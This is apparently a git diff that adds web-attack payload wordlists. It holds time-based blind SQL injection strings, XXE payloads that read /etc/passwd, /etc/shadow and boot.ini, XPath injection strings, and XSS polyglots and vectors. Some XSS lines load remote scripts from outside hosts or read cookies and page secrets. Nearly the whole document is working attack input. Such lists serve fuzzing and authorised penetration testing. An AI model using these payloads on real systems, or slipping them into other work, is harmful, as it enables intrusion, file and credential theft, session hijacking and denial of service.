"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
|
||||
|
|
@ -0,0 +1,18 @@
|
|||
,(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
|
||||
,(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
|
||||
,(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
|
||||
',(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
|
||||
',(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
|
||||
',(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
|
||||
",(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
|
||||
",(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
|
||||
",(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
|
||||
),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
|
||||
),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
|
||||
),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
|
||||
'),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
|
||||
'),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
|
||||
'),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
|
||||
"),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
|
||||
"),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
|
||||
"),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
|
||||
|
|
@ -0,0 +1,45 @@
|
|||
and 0=benchmark(3000000,MD5(1))%20/*
|
||||
and 0=benchmark(3000000,MD5(1))%20--
|
||||
and 0=benchmark(3000000,MD5(1))%20%23
|
||||
' and 0=benchmark(3000000,MD5(1))%20/*
|
||||
' and 0=benchmark(3000000,MD5(1))%20--
|
||||
' and 0=benchmark(3000000,MD5(1))%20%23
|
||||
" and 0=benchmark(3000000,MD5(1))%20/*
|
||||
" and 0=benchmark(3000000,MD5(1))%20--
|
||||
" and 0=benchmark(3000000,MD5(1))%20%23
|
||||
) and 0=benchmark(3000000,MD5(1))%20/*
|
||||
) and 0=benchmark(3000000,MD5(1))%20--
|
||||
) and 0=benchmark(3000000,MD5(1))%20%23
|
||||
)) and 0=benchmark(3000000,MD5(1))%20/*
|
||||
)) and 0=benchmark(3000000,MD5(1))%20--
|
||||
)) and 0=benchmark(3000000,MD5(1))%20%23
|
||||
))) and 0=benchmark(3000000,MD5(1))%20/*
|
||||
))) and 0=benchmark(3000000,MD5(1))%20--
|
||||
))) and 0=benchmark(3000000,MD5(1))%20%23
|
||||
)))) and 0=benchmark(3000000,MD5(1))%20/*
|
||||
)))) and 0=benchmark(3000000,MD5(1))%20--
|
||||
)))) and 0=benchmark(3000000,MD5(1))%20%23
|
||||
') and 0=benchmark(3000000,MD5(1))%20/*
|
||||
') and 0=benchmark(3000000,MD5(1))%20--
|
||||
') and 0=benchmark(3000000,MD5(1))%20%23
|
||||
") and 0=benchmark(3000000,MD5(1))%20/*
|
||||
") and 0=benchmark(3000000,MD5(1))%20--
|
||||
") and 0=benchmark(3000000,MD5(1))%20%23
|
||||
')) and 0=benchmark(3000000,MD5(1))%20/*
|
||||
')) and 0=benchmark(3000000,MD5(1))%20--
|
||||
')) and 0=benchmark(3000000,MD5(1))%20%23
|
||||
")) and 0=benchmark(3000000,MD5(1))%20/*
|
||||
")) and 0=benchmark(3000000,MD5(1))%20--
|
||||
")) and 0=benchmark(3000000,MD5(1))%20%23
|
||||
'))) and 0=benchmark(3000000,MD5(1))%20/*
|
||||
'))) and 0=benchmark(3000000,MD5(1))%20--
|
||||
'))) and 0=benchmark(3000000,MD5(1))%20%23
|
||||
"))) and 0=benchmark(3000000,MD5(1))%20/*
|
||||
"))) and 0=benchmark(3000000,MD5(1))%20--
|
||||
"))) and 0=benchmark(3000000,MD5(1))%20%23
|
||||
')))) and 0=benchmark(3000000,MD5(1))%20/*
|
||||
')))) and 0=benchmark(3000000,MD5(1))%20--
|
||||
')))) and 0=benchmark(3000000,MD5(1))%20%23
|
||||
")))) and 0=benchmark(3000000,MD5(1))%20/*
|
||||
")))) and 0=benchmark(3000000,MD5(1))%20--
|
||||
")))) and 0=benchmark(3000000,MD5(1))%20%23
|
||||
66
attack/xml/xml-attacks.txt
Normal file
66
attack/xml/xml-attacks.txt
Normal file
|
|
@ -0,0 +1,66 @@
|
|||
-
|
||||
' or ''='
|
||||
' or '1'='1
|
||||
"<?xml version=""1.0"" encoding=""ISO-8859-1""?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM ""file:////dev/random"">]><foo>&xxe;</foo>"
|
||||
"<?xml version=""1.0"" encoding=""ISO-8859-1""?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM ""file:////etc/passwd"">]><foo>&xxe;</foo>"
|
||||
"<?xml version=""1.0"" encoding=""ISO-8859-1""?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM ""file:////etc/shadow"">]><foo>&xxe;</foo>"
|
||||
"<?xml version=""1.0"" encoding=""ISO-8859-1""?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM ""file://c:/boot.ini"">]><foo>&xxe;</foo>"
|
||||
"<?xml version=""1.0"" encoding=""ISO-8859-1""?><foo><![CDATA[' or 1=1 or ''=']]></foo>"
|
||||
"<?xml version=""1.0"" encoding=""ISO-8859-1""?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo>"
|
||||
"<HTML xmlns:xss><?import namespace=""xss"" implementation=""http://xss.rocks/xss.htc""><xss:xss>XSS</xss:xss></HTML>"
|
||||
"<HTML xmlns:xss><?import namespace=""xss"" implementation=""http://xss.rocks/xss.htc""><xss:xss>XSS</xss:xss></HTML>"
|
||||
"<xml ID=""xss""><I><B><IMG SRC=""javas<!-- -->cript:alert('XSS')""></B></I></xml><SPAN DATASRC=""#xss"" DATAFLD=""B"" DATAFORMATAS=""HTML""></SPAN></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>"
|
||||
"<xml ID=I><X><C><![CDATA[<IMG SRC=""javas]]><![CDATA[cript:alert('XSS');"">]]>"
|
||||
"<xml SRC=""xsstest.xml"" ID=I></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>"
|
||||
$
|
||||
%
|
||||
'XoiZR
|
||||
<% Tnn96 %>
|
||||
<%= Tnn96 %>
|
||||
<? Tnn96 ?>
|
||||
<?Tnn96 ?>
|
||||
<Tnn96>
|
||||
"XoiZR
|
||||
(Tnn96)
|
||||
*
|
||||
*/*
|
||||
/
|
||||
//
|
||||
//*
|
||||
:
|
||||
;
|
||||
@
|
||||
@*
|
||||
[Tnn96]
|
||||
]>
|
||||
{{= Tnn96}}
|
||||
{{Tnn96}}
|
||||
{= Tnn96}
|
||||
{Tnn96}
|
||||
+
|
||||
<![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]>
|
||||
<![CDATA[<script>var n=0;while(true){n++;}</script>]]>
|
||||
<!DOCTYPE autofillupload [<!ENTITY 9eTVC SYSTEM "file:///etc/passwd">
|
||||
<!DOCTYPE autofillupload [<!ENTITY D71Mn SYSTEM "file:///c:/boot.ini">
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///dev/random">]><foo>&xee;</foo>
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xee;</foo>
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/shadow">]><foo>&xee;</foo>
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file://c:/boot.ini">]><foo>&xee;</foo>
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[' or 1=1 or ''=']]></foof>
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('gotcha');<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo>
|
||||
<name>','')); phpinfo(); exit;/*</name>
|
||||
0
|
||||
0.00005
|
||||
0.1
|
||||
0.9
|
||||
1
|
||||
-1
|
||||
1.7976931348623157e+308
|
||||
5e-10
|
||||
5e-324
|
||||
count(/child::node())
|
||||
false
|
||||
null
|
||||
true
|
||||
x' or 1=1 or 'x'='y
|
||||
x' or name()='username' or 'x'='y
|
||||
13
attack/xpath/xpath-injection.txt
Normal file
13
attack/xpath/xpath-injection.txt
Normal file
|
|
@ -0,0 +1,13 @@
|
|||
' or '1'='1
|
||||
' or ''='
|
||||
x' or 1=1 or 'x'='y
|
||||
/
|
||||
//
|
||||
//*
|
||||
*/*
|
||||
@*
|
||||
count(/child::node())
|
||||
x' or name()='username' or 'x'='y
|
||||
' and count(/*)=1 and '1'='1
|
||||
' and count(/@*)=1 and '1'='1
|
||||
' and count(/comment())=1 and '1'='1
|
||||
32
attack/xss/XSSPolyglot.txt
Normal file
32
attack/xss/XSSPolyglot.txt
Normal file
|
|
@ -0,0 +1,32 @@
|
|||
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
|
||||
/*-/*`/*\`/*'/*"/**/
|
||||
(/* */oNcliCk=alert() )
|
||||
//%0D%0A%0D%0A//
|
||||
</stYle/</titLe/</teXtarEa/</scRipt/--!>
|
||||
\x3csVg/<sVg/oNloAd=alert()//>\x3e
|
||||
<input type='text' value='jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e'></input>
|
||||
<input type=text value=jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e></input>
|
||||
<img border=3 alt=jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e>
|
||||
<a href="jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e">click me</a>
|
||||
<math xlink:href="jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e">click me</math>
|
||||
<iframe src="jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e"></iframe>
|
||||
<!--jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e-->
|
||||
<style>jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e</style>
|
||||
<textarea>jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e</textarea>
|
||||
<div>jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e</div>
|
||||
var str = "jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e";
|
||||
var str = 'jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e';
|
||||
<script>//jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e</script>
|
||||
<script>/*jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e*/</script>
|
||||
</script><script src="https://static.jsbin.com/js/render/edit.js?3.35.11"></script><script>jsbinShowEdit && jsbinShowEdit({"static":"https://static.jsbin.com","root":"https://jsbin.com"});</script><script>
|
||||
setTimeout(location.search.slice(1));
|
||||
jaVasCript:/-/%60/%5C%60/'/%22//(/%20*/oNcliCk=alert()%20)//%250D%250A%250D%250A//%3C/stYle/%3C/titLe/%3C/teXtarEa/%3C/scRipt/--!%3E%3CsVg/%3CsVg/oNloAd=alert()//%3E%3E
|
||||
var data = "jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e";document.documentElement.innerHTML = data;
|
||||
var data = "jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e";document.head.outerHTML = data;
|
||||
var data = "jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e";document.write(data);document.close();
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
70
attack/xss/all-encodings-of-lt.txt
Normal file
70
attack/xss/all-encodings-of-lt.txt
Normal file
|
|
@ -0,0 +1,70 @@
|
|||
<
|
||||
%3C
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
\x3c
|
||||
\x3C
|
||||
\u003c
|
||||
\u003C
|
||||
22
attack/xss/default-javascript-event-attributes.txt
Normal file
22
attack/xss/default-javascript-event-attributes.txt
Normal file
|
|
@ -0,0 +1,22 @@
|
|||
onAbort
|
||||
onBlur
|
||||
onChange
|
||||
onClick
|
||||
onDblClick
|
||||
onDragDrop
|
||||
onError
|
||||
onFocus
|
||||
onKeyDown
|
||||
onKeyPress
|
||||
onKeyUp
|
||||
onLoad
|
||||
onMouseDown
|
||||
onMouseMove
|
||||
onMouseOut
|
||||
onMouseOver
|
||||
onMouseUp
|
||||
onMove
|
||||
onReset
|
||||
onResize
|
||||
onSelect
|
||||
onSubmit
|
||||
164
attack/xss/xss-other.txt
Normal file
164
attack/xss/xss-other.txt
Normal file
|
|
@ -0,0 +1,164 @@
|
|||
'
|
||||
<font style='color:expression(alert('XSS'))'>
|
||||
' onmouseover=alert(/Black.Spook/)
|
||||
' or 2=2
|
||||
"
|
||||
" or 202
|
||||
";eval(unescape(location))//# %0Aalert(0)
|
||||
"><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
|
||||
"><iframe%20src="http://google.com"%%203E
|
||||
"><img src=x onerror=prompt(1);>
|
||||
"><img src=x onerror=window.open('https://www.google.com/');>
|
||||
'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Eshadowlabs(0x000045)%3C/script%3E
|
||||
%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3ERWAR%280x00010E%29%3C%2Fscript%3E
|
||||
%3Cscript%3Exhr=new%20ActiveXObject%28%22Msxml2.XMLHTTP%22%29;xhr.open%28%22GET%22,%22/xssme2%22,true%29;xhr.onreadystatechange=function%28%29{if%28xhr.readyState==4%26%26xhr.status==200%29{alert%28xhr.responseText.match%28/%27%28[^%27]%2b%29/%29[1]%29}};xhr.send%28%29;%3C/script%3E
|
||||
alert(1)
|
||||
&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&>
|
||||
&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi
|
||||
&#39;&#88;&#83;&#83;&#39;&#41;>
|
||||
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
|
||||
<img src=x:x onerror=alert(1)>
|
||||
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;
|
||||
<SCRIPT SRC=//xss.rocks/.j>
|
||||
'); alert('XSS
|
||||
\";alert('XSS');//
|
||||
<%<!--'%><script>alert(1);</script -->
|
||||
<%73%63%72%69%70%74> %64 = %64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74(%22%64%69%76%22); %64%2e%61%70%70%65%6e%64%43%68%69%6c%64(%64%6f%63%75%6d%65%6e%74%2e%68%65%61%64%2e%63%6c%6f%6e%65%4e%6f%64%65(%74%72%75%65)); %61%6c%65%72%74(%64%2e%69%6e%6e%65%72%48%54%4d%4c%2e%6d%61%74%63%68(%22%63%6f%6f%6b%69%65 = '(%2e%2a%3f)'%22)[%31]); </%73%63%72%69%70%74>
|
||||
<--`<img/src=` onerror=alert(1)> --!>
|
||||
<~/XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
|
||||
<<scr\0ipt/src=http://xss.com/xss.js></script
|
||||
<<SCRIPT>alert("XSS");//<</SCRIPT>
|
||||
<a href="data:text/html;blabla,<script src="http://sternefamily.net/foo.js"></script>​">Click Me</a>
|
||||
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe
|
||||
<a href="data:text/html;base64_,<svg/onload=\u0061le%72t(1)>">X</a
|
||||
<a href="javascript:\u0061le%72t(1)"><button>
|
||||
<a href="jAvAsCrIpT:alert(1)">X</a>
|
||||
<a href=javascript:alert(document.cookie)>Click Here</a>
|
||||
<a onmouseover="alert(document.cookie)">xxs link</a>
|
||||
<a onmouseover=alert(document.cookie)>xxs link</a>
|
||||
<a target="x" href="xssme?xss=%3Cscript%3EaddEventListener%28%22DOMFrameContentLoaded%22,%20function%28e%29%20{e.stopPropagation%28%29;},%20true%29;%3C/script%3E%3Ciframe%20src=%22data:text/html,%253cscript%253eObject.defineProperty%28top,%20%27MyEvent%27,%20{value:%20Object,%20configurable:%20true}%29;function%20y%28%29%20{alert%28top.Safe.get%28%29%29;};event%20=%20new%20Object%28%29;event.type%20=%20%27click%27;event.isTrusted%20=%20true;y%28event%29;%253c/script%253e%22%3E%3C/iframe%3E
|
||||
<a target="x" href="xssme?xss=<script>find('cookie'); var doc = getSelection().getRangeAt(0).startContainer.ownerDocument; console.log(doc); var xpe = new XPathEvaluator(); var nsResolver = xpe.createNSResolver(doc); var result = xpe.evaluate('//script/text()', doc, nsResolver, 0, null); alert(result.iterateNext().data.match(/cookie = '(.*?)'/)[1])</script>
|
||||
<a target="x" href="xssme?xss=<script>function x(window) { eval(location.hash.substr(1)) }</script><iframe src=%22javascript:parent.x(window);%22></iframe>#var xhr = new window.XMLHttpRequest();xhr.open('GET', '.', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();
|
||||
<a target="x" href="xssme?xss=<script>var cl=Components;var fcc=String.fromCharCode;doc=cl.lookupMethod(top, fcc(100,111,99,117,109,101,110,116) )( );cl.lookupMethod(doc,fcc(119,114,105,116,101))(doc.location.hash)</script>#<iframe src=data:text/html;base64,PHNjcmlwdD5ldmFsKGF0b2IobmFtZSkpPC9zY3JpcHQ%2b name=ZG9jPUNvbXBvbmVudHMubG9va3VwTWV0aG9kKHRvcC50b3AsJ2RvY3VtZW50JykoKTt2YXIgZmlyZU9uVGhpcyA9ICBkb2MuZ2V0RWxlbWVudEJ5SWQoJ3NhZmUxMjMnKTt2YXIgZXZPYmogPSBkb2N1bWVudC5jcmVhdGVFdmVudCgnTW91c2VFdmVudHMnKTtldk9iai5pbml0TW91c2VFdmVudCggJ2NsaWNrJywgdHJ1ZSwgdHJ1ZSwgd2luZG93LCAxLCAxMiwgMzQ1LCA3LCAyMjAsIGZhbHNlLCBmYWxzZSwgdHJ1ZSwgZmFsc2UsIDAsIG51bGwgKTtldk9iai5fX2RlZmluZUdldHRlcl9fKCdpc1RydXN0ZWQnLGZ1bmN0aW9uKCl7cmV0dXJuIHRydWV9KTtmdW5jdGlvbiB4eChjKXtyZXR1cm4gdG9wLlNhZmUuZ2V0KCl9O2FsZXJ0KHh4KGV2T2JqKSk></iframe>
|
||||
<BASE HREF="javascript:alert('XSS');//">
|
||||
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
|
||||
<body onLoad="alert('XSS');"
|
||||
<body onunload="javascript:alert('XSS');">
|
||||
<body/onload=<!-->
alert(1)>
|
||||
<div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button>?
|
||||
<div onmouseover='alert(1)'>DIV</div>
|
||||
<div/onmouseover='alert(1)'> style="x:">
|
||||
<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>?
|
||||
<embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf"> ?
|
||||
<form><button formaction=javascript:alert(1)>CLICKME
|
||||
<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>
|
||||
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
|
||||
<iframe src=j
	a
		v
			a
				s
					c
						r
							i
								p
									t
										:a
											l
												e
													r
														t
															%28
																1
																	%29></iframe> ?
|
||||
<iframe src=j	a	v	a	s	c	r	i	p	t	:a	l	e	r	t	%28	1	%29></iframe>
|
||||
<iframe id=%22ifra%22 src=%22/%22></iframe> <script>ifr = document.getElementById('ifra'); ifr.contentDocument.write(%22<scr%22 %2b %22ipt>top.foo = Object.defineProperty</scr%22 %2b %22ipt>%22); foo(window, 'Safe', {value:{}}); foo(Safe, 'get', {value:function() { return document.cookie }}); alert(Safe.get());</script>
|
||||
<iframe onload=%22write('<script>'%2Blocation.hash.substr(1)%2B'</script>')%22></iframe>#var xhr = new XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();
|
||||
<iframe src=%22404%22 onload=%22content.frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>
|
||||
<iframe src=%22404%22 onload=%22frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>
|
||||
<iframe src=%22404%22 onload=%22self.frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>
|
||||
<iframe src=%22404%22 onload=%22top.frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>
|
||||
<iframe src=/ onload=eval(unescape(this.name.replace(/\/g,null))) name=fff%253Dnew%2520this.contentWindow.window.XMLHttpRequest%2528%2529%253Bfff.open%2528%2522GET%2522%252C%2522xssme2%2522%2529%253Bfff.onreadystatechange%253Dfunction%2528%2529%257Bif%2520%2528fff.readyState%253D%253D4%2520%2526%2526%2520fff.status%253D%253D200%2529%257Balert%2528fff.responseText%2529%253B%257D%257D%253Bfff.send%2528%2529%253B></iframe>
|
||||
<iframe src=`http://xssme.html5sec.org/?xss=<iframe onload=%22xhr=new XMLHttpRequest();xhr.open('GET','http://html5sec.org/xssme2',true);xhr.onreadystatechange=function(){if(xhr.readyState==4%26%26xhr.status==200){alert(xhr.responseText.match(/'([^']%2b)/)[1])}};xhr.send();%22>`>
|
||||
